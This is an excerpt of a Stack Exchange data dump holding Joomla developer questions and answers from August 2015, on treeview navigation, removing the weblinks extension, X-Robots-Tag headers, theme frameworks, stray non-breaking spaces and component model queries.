  <row Id="12112" PostTypeId="1" AcceptedAnswerId="12438" CreationDate="2015-08-10T15:06:46.753" Score="1" ViewCount="83" Body="&lt;p&gt;I'm developing a component that will work as an explorer for Joomla, with a treeview on the sidebar and a list of elements on my component's main window . What I don't know how to do is, when clicking on a node of the treeview, updating the list of elements of the main window with the children of that node, if possible, without having to refresh the whole page. I think it has something to do with Ajax and JQuery, but have no clue on how to implement it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 1:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I haven't explained myself very well. The behaviour should be like the one in the com_media component:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tYyKP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tYyKP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5508" LastEditorUserId="5508" LastEditDate="2015-08-11T06:58:37.397" LastActivityDate="2015-09-03T07:51:23.153" Title="Updating component's main window when clicking on sidebar" Tags="|joomla-3.x|javascript|jquery|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12113" PostTypeId="2" ParentId="12111" CreationDate="2015-08-10T15:45:39.423" Score="2" Body="&lt;h3&gt;Before attempting anything below, make sure you have a working backup of your complete site, just in case.&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;FILES:&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First check for any files in your Joomla installation. Using FTP look at and remove the whole folders (if found) in the following locations:  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;administrator/components/com_weblinks  &lt;/li&gt;&#xA;  &lt;li&gt;components/com_weblinks  &lt;/li&gt;&#xA;  &lt;li&gt;modules/mod_weblinks&lt;/li&gt;&#xA;  &lt;li&gt;plugins/search/weblinks&lt;/li&gt;&#xA;  &lt;li&gt;plugins/finder/weblinks&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;br /&gt;&#xA;&lt;strong&gt;DATABASE:&lt;/strong&gt;&lt;br&gt;&#xA;Then with a database tool, like PHPmyAdmin, connect to your database and look at the following tables:  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;#__extensions&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;look for any rows &lt;code&gt;where name LIKE '%weblinks%'&lt;/code&gt; and delete them. This will delete all references of the package/component/module/plugins of the weblinks.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;#__categories&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;look for any rows &lt;code&gt;where extension = 'com_weblinks'&lt;/code&gt; and delete them. This will clear your categories table from any weblinks categories.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;#__assets&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;look for any rows  &lt;code&gt;where name LIKE '%com_weblinks%'&lt;/code&gt; and delete them.&#xA;This will delete the asset for the component itself and also any possible categories of the weblinks component, that still have an asset in the assets table.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;#__menu&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;look for any rows &lt;code&gt;where path LIKE 'Weblinks%'&lt;/code&gt; and delete them. This will delete any references to the component in the admin menu.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;#__weblinks&lt;/code&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Delete the whole table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I have included everything... as said at the top of my answer have a tested backup, in case something goes wrong while you are deleting folders and data in your database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might be also better if you try all these at a testing site.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-08-11T08:10:06.443" LastActivityDate="2015-08-11T08:10:06.443" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12115" PostTypeId="1" CreationDate="2015-08-10T16:12:52.133" Score="-2" ViewCount="383" Body="&lt;p&gt;I have the following working javascript code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var user_email = document.getElementById(&quot;jform_user_email&quot;);&#xA;user_email.value = &quot;&amp;lt;?php echo JFactory::getUser()-&amp;gt;email; ?&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The next lines are in the same script and it is not working.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var originator_email = document.getElementById(&quot;jform_sendto_first_step&quot;);&#xA;originator_email.value = &quot;&amp;lt;?php echo JFactory::getUser($this-&amp;gt;item-&amp;gt;created_by)-&amp;gt;get('email'); ?&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It produces this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;(using $this when not in object context)...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What's wrong with the &lt;code&gt;$this&lt;/code&gt; variable? Why can I easily get the logged in user email, but can't get the email of the user who created the submission?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Original thread:&#xA;&lt;a href=&quot;https://joomla.stackexchange.com/questions/11075/joomla-phpthis-wrapped-in-javascript&quot;&gt;Joomla - PHP+$this wrapped in Javascript.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5674" LastEditorUserId="12352" LastEditDate="2018-06-19T20:40:15.043" LastActivityDate="2018-06-19T20:40:15.043" Title="How to access the email of the user who created a submission?" Tags="|joomla-3.x|php|javascript|fix-my-code|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="12117" PostTypeId="2" ParentId="12093" CreationDate="2015-08-10T17:07:45.693" Score="0" Body="&lt;p&gt;i had similar issue but i was 100% sure that is was setup properly.  Finally i discovered that it was my antivirus app creating a problem. I have added exception and solved smtp connect issue.&lt;/p&gt;&#xA;" OwnerUserId="5674" LastActivityDate="2015-08-10T17:07:45.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12118" PostTypeId="2" ParentId="12112" CreationDate="2015-08-10T20:07:10.457" Score="1" Body="&lt;p&gt;You can use the &lt;a href=&quot;http://getbootstrap.com/javascript/#collapse&quot; rel=&quot;nofollow noreferrer&quot;&gt;Collapse&lt;/a&gt; classe of Bootstrap or the &lt;a href=&quot;https://stackoverflow.com/questions/17460116/expand-and-collapse-a-div-using-javascript&quot;&gt;jQuery UI's accordion&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can draw your treeview with div's, and keep some nodes hidden. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And do some onClick event to show the div content &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;obs.:&lt;/strong&gt; You can do it without ajax request if you want keep it more simple.&lt;/p&gt;&#xA;" OwnerUserId="5681" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2015-08-10T20:07:10.457" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12119" PostTypeId="1" CreationDate="2015-08-10T22:04:50.313" Score="5" ViewCount="871" Body="&lt;p&gt;Can you tell me if Joomla SQL drivers support prepared statements? As far as I understand, the MySQLi driver does not prepare SQL statements. But Joomla also supports MySQL PDO driver. Does this driver prepare SQL statements? Is it safe to use Joomla SQL wrappers?&lt;/p&gt;&#xA;" OwnerUserId="5665" LastActivityDate="2020-09-26T08:52:09.700" Title="Joomla SQL drivers and prepared statements" Tags="|database|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12121" PostTypeId="2" ParentId="4673" CreationDate="2015-08-11T01:04:10.377" Score="0" Body="&lt;p&gt;If you can't get in to the backend of Joomla, then you can change the absolute paths in the configuration.php file in the root of your Joomla installation. &lt;/p&gt;&#xA;" OwnerUserId="5712" LastActivityDate="2015-08-11T01:04:10.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12122" PostTypeId="2" ParentId="12115" CreationDate="2015-08-11T08:06:57.050" Score="0" Body="&lt;p&gt;It is not clear how you are executing this script. If you are creating a plugin to insert a script into all site pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case, you could easily add this script with a module to insert source code in all pages, check &lt;a href=&quot;http://extensions.joomla.org/category/core-enhancements/coding-a-scripts-integration&quot; rel=&quot;nofollow&quot;&gt;JED's Coding &amp;amp; Scripts Integration&lt;/a&gt;. For instance, NoNumber's sourcerer. In this way, you can focus your effort to create the script instead of the insertion method.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-08-11T08:06:57.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12123" PostTypeId="2" ParentId="10254" CreationDate="2015-08-11T10:16:06.047" Score="3" Body="&lt;h2&gt;Robots.txt and Google&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I am also negatively positioned against the robots.txt file. I don't like it at all to announce publicly the directory tree of my Joomla sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Considering the recent changes in Google's algorithms, that are now looking for Images, CSS and JS files, in order to fully fetch and render a webpage, I am looking for ways to allow the Google bots to reach to the necessary files that make up a webpage, while at the same time will be able to hide from bots anything that shouldn't be indexed.&#xA;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Joomla&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;To this direction, recent versions of Joomla are shipped with an updated robots.txt file, that allows bots to crawl the images and media files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yet, in the majority of the Joomla sites, there are more than 1 locations that those files may exist - It's not only the template or the media folder and images folder, but it can also be a module or a plugin folder, and yet it's possible that not all contents of the media folder should be available for crawling.&#xA;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;X-Robots-Tag HTTP header - .htaccess &amp; Apache Web Servers&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;An alternative way I am currently experimenting and eventually want to make my standard implementation, is the use the &lt;strong&gt;X-Robots-Tag HTTP header&lt;/strong&gt;, in an effort to completely avoid the use of the robots.txt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can add any kind of robots meta-tag directives with the X-Robots-Tag within .htaccess files, and .htaccess files can be placed at the root directory, that will have a global effect to whole site, but we can also place them insider any children directory of the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example 1: X-Robots-Tag to not allow indexing of PDF and GIF files across the site:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;.htaccess at the root directory:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;Files ~ &quot;\.(pdf|gif)$&quot;&amp;gt;&#xA;  Header set X-Robots-Tag &quot;noindex&quot;&#xA;&amp;lt;/Files&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br /&gt;&#xA;&lt;strong&gt;Example 2: X-Robots-Tag to not allow indexing of a specific directory:&lt;/strong&gt;:  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;.htaccess inside that directory&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; Header set x-robots-tag &quot;noindex&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will add the no-index X-Robots-Tag at the HTTP response headers of the pages inside this directory:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xrwi0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xrwi0.png&quot; alt=&quot;Response Headers: X-Robots-Tag&quot;&gt;&lt;/a&gt;&#xA;&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the use of &lt;strong&gt;Regular expressions&lt;/strong&gt; we can achieve maximum flexibility in specifying all kind of directives.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Useful resources:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://developers.google.com/webmasters/control-crawl-index/docs/robots_meta_tag&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Google Webmasters Documentation: Robots meta tag and X-Robots-Tag HTTP header specifications.&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-08-11T10:22:52.180" LastActivityDate="2015-08-11T10:22:52.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12125" PostTypeId="1" AcceptedAnswerId="12228" CreationDate="2015-08-11T12:02:34.063" Score="3" ViewCount="3387" Body="&lt;p&gt;I create a modal window when clicking on a custom toolbar button, like I was explained &lt;a href=&quot;https://joomla.stackexchange.com/questions/11035/click-on-custom-button-opens-modal-window&quot;&gt;here&lt;/a&gt; and now the doubt I have is on how to create the JForm for this modal window, because they should submit some data. I guess what I don't know is if they are treated like a different view or if they should be defined inside the window they &quot;modal&quot; from. Right now all the behaviour is defined in the /tmpl/default.php file of the window they &quot;modal&quot; from. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="5508" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2015-11-12T16:31:31.307" Title="JForm in modal window" Tags="|joomla-3.x|jform|modal|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12127" PostTypeId="1" CreationDate="2015-08-11T12:50:05.213" Score="2" ViewCount="149" Body="&lt;p&gt;I'm new to joomla theme development.&#xA;I've heard of Joomla Theme Development with Bootstrap, but I don't know the details of that, unfortunately...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can Bootstrap help me develop a robust responsive Joomla 2.x &amp;amp; 3.x compatible Theme within a short time?-- say 8 weeks or are there other options available ?? is Bootstrap suitable for latest versions of Joomla only or otherwise?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how to start both joomla 2.x &amp;amp; 3.x responsive theme development? which framework to use or just from scratch?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm confused, I need some experts opinion here plz....&lt;/p&gt;&#xA;" OwnerUserId="5715" LastEditorUserId="126" LastEditDate="2015-08-21T18:35:47.463" LastActivityDate="2015-08-21T18:35:47.463" Title="How to start both joomla 2.x &amp; 3.x responsive theme development? Start with any Framework, or just from scratch?" Tags="|joomla-3.x|development|joomla-3.3.x|templates|bootstrap|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12128" PostTypeId="1" CreationDate="2015-08-11T13:05:24.760" Score="1" ViewCount="377" Body="&lt;p&gt;I want to delete in Joomla this kind of first-letter blank space but don't know how. (its marked with a red circle)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7Gu7J.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7Gu7J.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5719" LastEditorUserId="126" LastEditDate="2015-08-21T14:09:04.930" LastActivityDate="2015-08-21T14:09:04.930" Title="How to delete BT Content Slider's article first-letter blank space?" Tags="|joomla-3.x|module|articles|css|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12129" PostTypeId="2" ParentId="12127" CreationDate="2015-08-11T13:08:42.277" Score="3" Body="&lt;p&gt;Right, you're new to development, so the first thing you should know is, Joomla 2.5 reached the end of life and is no longer officially supported. Whether extension/theme developers wish to carry in supporting this version of Joomla is up to them, but I highly recommend you don't &lt;strong&gt;start&lt;/strong&gt; to support it for a new project. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, Bootstrap was not used in Joomla 2.5, therefore would not be able to make full use of the Joomla API methods to include Bootstrap features, thus making your life harder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even though Bootstrap was introduced in Joomla 3.x, it doesn't mean you &lt;strong&gt;have&lt;/strong&gt; to use it. My personal opinion of it, is it does what it's supposed to do very well, but it's too common now and everyone seems to be using it, and everyone's site looks the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd firstly suggest having a look around at some other frameworks. A personal favorite is &lt;a href=&quot;http://getuikit.com&quot; rel=&quot;nofollow&quot;&gt;UIKit&lt;/a&gt; (developed by Yootheme). You could also use Yootheme's Master 2 Theme (&lt;a href=&quot;http://yootheme.com/api/load?id=631&amp;amp;token=7b1746ee&amp;amp;file=yoo_master2_demo_package_j3.zip&quot; rel=&quot;nofollow&quot;&gt;Demo Package&lt;/a&gt; or &lt;a href=&quot;http://yootheme.com/api/load?id=630&amp;amp;token=ca7e0429&amp;amp;file=yoo_master2_j3.zip&quot; rel=&quot;nofollow&quot;&gt;Template&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's simply a responsive grid you wish to use, you may also want to consider using only the grid of your chosen framework and stripping out all other code to improve performance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also take a copy of the Joomla 3.x Protostar template which utilizes Bootstrap, else I'd suggest looking at other developers templates to get an idea of the structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-08-11T14:02:39.227" LastActivityDate="2015-08-11T14:02:39.227" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="12130" PostTypeId="2" ParentId="12128" CreationDate="2015-08-11T13:32:24.913" Score="1" Body="&lt;p&gt;This blank space comes from your empty paragraph lines in the article markup:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;&amp;amp;nbsp;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Remove them from your article and the white space should be gone because I assume that the BT Content Slider stripps of the HTML and just leaves the &lt;code&gt;&amp;amp;nbsp;&lt;/code&gt; which is a white space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To remove them just remove the empty line or switch to the code view and remove the &lt;code&gt;&amp;lt;p&amp;gt;&amp;amp;nbsp;&amp;lt;/p&amp;gt;&lt;/code&gt; tag under the image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should consider giving your &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; tags a bottom margin with CSS. At the moment you are making margins under each paragraph with an empty paragraph which isn't a good practice (and now you see why)&lt;/p&gt;&#xA;" OwnerUserId="154" LastActivityDate="2015-08-11T13:32:24.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12131" PostTypeId="2" ParentId="12128" CreationDate="2015-08-11T13:51:19.933" Score="0" Body="&lt;p&gt;There is a &lt;code&gt;&amp;amp;nbsp;&lt;/code&gt; in the text of your articles, after the image and just before the actual text. Examining the full article, I found the same structure, apart the fact that everything is wrapped inside &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect that the module fetches the introtext of your articles, stripping out some html tags - in this case the &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; element, therefore it ends ups showing the image, the &lt;code&gt;&amp;amp;nbsp;&lt;/code&gt;- which is not a html tag, and the text that follows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Some options you have:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Check if the module has any settings on how to handle the html entities and adjust it.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Remove the new lines through creating emtpy paragraphs, and add the required space by adjusting the css of your paragraphs.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you are using the introtext feature, but you aren't showing anywhere else in your site those articles in a blog view, which usually makes use of the introtext, you could just have the introtext without the &lt;code&gt;&amp;amp;nbsp;&lt;/code&gt; - only the image and the actual text, to satisfy the module and then in the fulltext area, repeat your introtext, using your current content structure.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;See if using the images section of the article's instead of placing images inside the introtext can give you more flexibility/options.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Override the module's output, and manipulate the actual content by removing the non-breaking space html entity.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Something like this over the echoed content could work: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ html = &quot;articles_introtext&quot;; // sample var of what it comes out as the article introtext.&#xA;&#xA;echo &quot;&amp;lt;div&amp;gt;&quot; . html_entity_decode( strip_tags( str_replace( &quot;&amp;amp;nbsp;&quot;, &quot;&quot;, $html ) ), ENT_QUOTES, 'utf-8' ) .&quot;&amp;lt;/div&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above may be used in combination.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-08-11T13:51:19.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12132" PostTypeId="1" CreationDate="2015-08-11T14:10:20.457" Score="1" ViewCount="562" Body="&lt;p&gt;I would like to extend my learning-component that I'm writing. For this reason I'm creating a little ticketing-system which fetches mail from IMAP and saves attachments if they have a specific filetype (only png, jpg, ...) .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While saving the attachments the filename is hashed and saved afterwards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course I would like to extend my ticket-view aswell: In my ticket-view there are all messages assigned to this ticket (used models: ticket, messages).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I would like to show downloadable attachments for each message in this ticket which has one or more attachments. Clicking &quot;download attachment&quot; should start download-process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to extend messages-model with left join but it does not work that good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my code (model):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;    defined('_JEXEC') or die;&#xA;&#xA;    class BestiaModelMessages extends JModelList&#xA;    {&#xA;&#xA;        /**&#xA;         * __construct function.&#xA;         * &#xA;         * @access public&#xA;         * @param array $config (default: array())&#xA;         * @return void&#xA;         */&#xA;        public function __construct($config = array())&#xA;        {&#xA;&#xA;            if (empty($config['filter_fields']))&#xA;            {&#xA;                $config['filter_fields'] = array(&#xA;                                                'id', 'a.id',&#xA;                                                'ticketid' , 'a.ticketid',&#xA;                                                'from', 'a.from',&#xA;                                                'to', 'a.to',&#xA;                                                'date', 'a.date',&#xA;                                                'content', 'a.content',&#xA;                                                'title', 'a.title'&#xA;                                                ); &#xA;            }   &#xA;&#xA;            parent::__construct($config);&#xA;        }&#xA;&#xA;        /**&#xA;         * populateState function.&#xA;         * &#xA;         * @access protected&#xA;         * @param mixed $ordering (default: null)&#xA;         * @param mixed $direction (default: null)&#xA;         * @return void&#xA;         */&#xA;        protected function populateState($ordering = null, $direction = null)&#xA;        {&#xA;            $published = $this-&amp;gt;getUserStateFromRequest($this-&amp;gt;context.'.filter.state', 'filter_state', '', 'string');&#xA;            $this-&amp;gt;setState('filter.state', $published);&#xA;            parent::populateState('a.id', 'desc');      &#xA;        }&#xA;&#xA;        /**&#xA;         * getListQuery function.&#xA;         * &#xA;         * @access protected&#xA;         * @return void&#xA;         */&#xA;        protected function getListQuery()&#xA;        {&#xA;            $db    = $this-&amp;gt;getDbo();&#xA;            $query  = $db-&amp;gt;getQuery(true);&#xA;            $query-&amp;gt;select(&#xA;            $this-&amp;gt;getState(&#xA;                            'list.select',&#xA;                            'a.id, a.ticketid, a.from, a.to, a.date, a.title, a.content'));&#xA;&#xA;            $query-&amp;gt;from($db-&amp;gt;quoteName('#__bestia_tickets_messages').' AS a');&#xA;&#xA;            // Filter by search in title&#xA;            $search = $this-&amp;gt;getState('filter.search');&#xA;&#xA;            if (!empty($search))&#xA;            {&#xA;&#xA;                if (stripos($search, 'id:') === 0)&#xA;                {&#xA;                    $query-&amp;gt;where('a.id = ' . (int) substr($search, 3));&#xA;                }&#xA;&#xA;                else&#xA;                {&#xA;                    $search = $db-&amp;gt;quote('%' . $db-&amp;gt;escape($search, true) . '%');&#xA;                    $query-&amp;gt;where('(a.content LIKE ' . $search.' OR a.id LIKE ' . $search . 'OR a.from LIKE ' . $search . 'OR a.to LIKE ' . $search . 'OR a.date LIKE ' . $search .' OR a.title LIKE ' . $search . ')');&#xA;                }&#xA;&#xA;            }           &#xA;&#xA;&#xA;            $query-&amp;gt;select('GROUP_CONCAT(cast(concat(tma.filename,\', \',tma.filepath)AS char) SEPARATOR \', \') AS attachments')&#xA;                  -&amp;gt;join('LEFT', '#__bestia_tickets_messages_attachments as tma ON a.id = tma.messageid');&#xA;&#xA;&#xA;&#xA;            $model =&amp;amp; $this-&amp;gt;getInstance('Ticket', 'BestiaModel');          &#xA;            $item = $model-&amp;gt;getItem();&#xA;            $ticketid = $item-&amp;gt;ticketid;&#xA;&#xA;            $query-&amp;gt;where('a.ticketid = '.$db-&amp;gt;quote($ticketid));&#xA;            $query-&amp;gt;order('a.date DESC');  &#xA;            $query-&amp;gt;group('a.id');&#xA;&#xA;//          var_dump((string)$query);&#xA;&#xA;           return $query;&#xA;         } // ./protected function getListQuery&#xA;&#xA;    } // ./class BestiaModelMessages&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The resulting output looks like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;object(stdClass)#375 (8) { &#xA;    [&quot;id&quot;]=&amp;gt; string(3) &quot;725&quot; &#xA;    [&quot;ticketid&quot;]=&amp;gt; string(11) &quot;123456789&quot; &#xA;    [&quot;from&quot;]=&amp;gt; string(16) &quot;mail@test.com&quot; &#xA;    [&quot;to&quot;]=&amp;gt; string(27) &quot;mail@example.com&quot; &#xA;    [&quot;date&quot;]=&amp;gt; string(19) &quot;2015-08-03 14:47:27&quot; &#xA;    [&quot;title&quot;]=&amp;gt; string(17) &quot;Ticket mit Anhang&quot; &#xA;    [&quot;content&quot;]=&amp;gt; string(775) &quot;Ticket mit Anhang…&quot; &#xA;    [&quot;attachments&quot;]=&amp;gt; string(217) &quot;Test.png, asdaadasasgsdafasdasdasgasfasf, Bildschirmfoto 2015-07-14 um 17.10.43.png, 52d0833774bc94698e4101c021deebecf5724a4c65d1efc477948180c072c61778b6c0174040cdef6d94d8669251f0a6646c5caf6e1966b9796625979973b2a4.png&quot; &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I would like to associate the filename and the file path to use it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach($message-&amp;gt;attachments as $attachment)&#xA;{&#xA;     $attachment-&amp;gt;filename;&#xA;     $attachment-&amp;gt;filepath;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How could I solve this problem?&lt;/p&gt;&#xA;" OwnerUserId="4028" LastEditorUserId="168" LastEditDate="2015-08-11T14:13:30.147" LastActivityDate="2015-08-12T16:59:53.337" Title="Model should load data from another table and create associative array" Tags="|php|joomla-3.4|model|jmodel|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12133" PostTypeId="1" AcceptedAnswerId="12148" CreationDate="2015-08-11T15:21:39.933" Score="2" ViewCount="680" Body="&lt;p&gt;Is there a way to read respectively parse Joomla session data in PHP as &lt;code&gt;session_decode()&lt;/code&gt; and &lt;code&gt;unserialize()&lt;/code&gt; are not working on that values?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my component I need to read data from all active non-guest sessions (data column in the #__session database table) and check for the existence of certain variables.&lt;/p&gt;&#xA;" OwnerUserId="2238" LastActivityDate="2015-08-12T16:19:50.910" Title="How to read resp. parse Joomla session data read from database?" Tags="|joomla-3.x|joomla-2.5|mysql|session|jsession|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
